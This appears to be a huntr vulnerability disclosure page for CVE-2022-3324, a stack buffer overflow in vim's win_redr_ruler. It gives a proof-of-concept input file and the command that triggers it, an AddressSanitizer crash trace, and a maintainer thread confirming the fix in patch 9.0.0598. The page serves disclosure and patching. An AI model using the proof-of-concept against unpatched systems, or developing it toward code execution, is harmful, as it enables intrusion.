Stack-based Buffer Overflow in function win_redr_ruler in vim/vim

0

Valid Reported on Sep 25th 2022

Description

Stack Buffer Overflow in function win_redr_ruler at drawscreen.c:799 .

vim version

```
git log
commit ec1238b4068d0d6d9d02ac1a8e61720224a1be73 (grafted, HEAD -> master, t
```

Proof of Concept

```
poc download url:
https://raw.githubusercontent.com/Janette88/vim/main/poc1_stack.txt

xxd -r <  poc1_stack.txt | tee poc1_stack.dat
se encoding=iso8859
norm:se!r
wi0 0
no0 H
sil0norm0000000q:


./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/fuzz/test/poc1_stack.dat -
  redrawtime=2000  regexpengine=0  report=2  rightleftcmd=search  rulerform
==================================================================
==49463==ERROR: AddressSanitizer: stack-buffer-overflow on
WRITE of size 1 at 0x7ffff6c3b45e thread T0
```

```
    #0 0x560f8d425424 in win_redr_ruler /home/fuzz/vim/src/drawscreen.c:79
    #1 0x560f8d42384f in win_redr_status /home/fuzz/vim/src/drawscreen.c:5
    #2 0x560f8d4362a5 in redraw_statuslines /home/fuzz/vim/src/drawscreen.c

    #3 0x560f8dae447a in main_loop /home/fuzz/vim/src/main.c:1425
    #4 0x560f8d536cf9 in open_cmdwin /home/fuzz/vim/src/ex_getln.c:4554
    #5 0x560f8d52b67e in getcmdline_int /home/fuzz/vim/src/ex_getln.c:1934
    #6 0x560f8d5294f0 in getcmdline /home/fuzz/vim/src/ex_getln.c:1554
    #7 0x560f8d52f605 in getexline /home/fuzz/vim/src/ex_getln.c:2846
    #8 0x560f8d4e12db in do_cmdline /home/fuzz/vim/src/ex_docmd.c:873
    #9 0x560f8d69aa55 in nv_colon /home/fuzz/vim/src/normal.c:3205
    #10 0x560f8d68dae3 in normal_cmd /home/fuzz/vim/src/normal.c:937
    #11 0x560f8d50ee23 in exec_normal /home/fuzz/vim/src/ex_docmd.c:8842
    #12 0x560f8d50ebe2 in exec_normal_cmd /home/fuzz/vim/src/ex_docmd.c:886
    #13 0x560f8d50e486 in ex_normal /home/fuzz/vim/src/ex_docmd.c:8723
    #14 0x560f8d4ea8f1 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569
    #15 0x560f8d4e1b4d in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990
    #16 0x560f8d807ac8 in do_source_ext /home/fuzz/vim/src/scriptfile.c:166
    #17 0x560f8d808cfd in do_source /home/fuzz/vim/src/scriptfile.c:1811
    #18 0x560f8d8057bb in cmd_source /home/fuzz/vim/src/scriptfile.c:1163
    #19 0x560f8d805820 in ex_source /home/fuzz/vim/src/scriptfile.c:1189
    #20 0x560f8d4ea8f1 in do_one_cmd /home/fuzz/vim/src/ex_docmd.c:2569
    #21 0x560f8d4e1b4d in do_cmdline /home/fuzz/vim/src/ex_docmd.c:990
    #22 0x560f8d4dfee7 in do_cmdline_cmd /home/fuzz/vim/src/ex_docmd.c:584
    #23 0x560f8daea1fb in exe_commands /home/fuzz/vim/src/main.c:3139
    #24 0x560f8dae336e in vim_main2 /home/fuzz/vim/src/main.c:781
    #25 0x560f8dae2c26 in main /home/fuzz/vim/src/main.c:432
    #26 0x7fa526142082 in __libc_start_main ../csu/libc-start.c:308
    #27 0x560f8d35de4d in _start (/home/fuzz/vim/src/vim+0x13be4d)

Address 0x7ffff6c3b45e is located in stack of thread T0 at offset 78 in fra
    #0 0x560f8d424099 in win_redr_ruler /home/fuzz/vim/src/drawscreen.c:642

  This frame has 3 object(s):
    [48, 52) 'attr' (line 647)
    [64, 68) 'virtcol' (line 649)
    [80, 150) 'buffer' (line 644) <== Memory access at offset 78 underflows
HINT: this may be a false positive if your program uses some custom stack u
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/fuzz
Shadow bytes around the buggy address:
```

```
  0x10007ed7f630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ed7f640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ed7f650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

  0x10007ed7f660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007ed7f670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007ed7f680: 00 00 f1 f1 f1 f1 f1 f1 04 f2 04[f2]00 00 00 00
  0x10007ed7f690: 00 00 00 00 06 f3 f3 f3 f3 f3 00 00 00 00 00 00
  0x10007ed7f6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
  0x10007ed7f6b0: f1 f1 04 f3 f3 f3 00 00 00 00 00 00 00 00 00 00
  0x10007ed7f6c0: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 04 f2
  0x10007ed7f6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==49463==ABORTING
```

poc: https://raw.githubusercontent.com/Janette88/vim/main/poc1_stack.txt

Impact

This vulnerability is capable of arbitrary code execution.

CVE

CVE-2022-3324
(Published)

Vulnerability Type
CWE-121: Stack-based Buffer Overflow

Severity
High (7.8)

Registry
Other

Affected Version
*

Visibility
Public

Status
Fixed

Found by

janette88
@janette88
master

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,346 times.

We are processing your report and will contact the **vim** team within 24 hours. 2 months ago

We have contacted a member of the **vim** team and are waiting to hear back 2 months ago

Bram Moolenaar validated this vulnerability 2 months ago

I can reproduce it, but it's hard to find the real cause. I can avoid the window width becoming negative, but there might still be another problem.

janette88 has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 2 months ago Maintainer

Fixed in patch 9.0.0598 for now. There might be another problem, feel free to poke at it.

Bram Moolenaar marked this as fixed in 9.0.0598 with commit 8279af 2 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

thestoryend a month ago

When can we get a complete fix for this problem (CVE-2022-3324) ?

Bram Moolenaar a month ago Maintainer

The reported problem has been fixed. If you find another one please provide a way to reproduce it. You can create an issue at github or here at huntr.

Sign in to join this conversation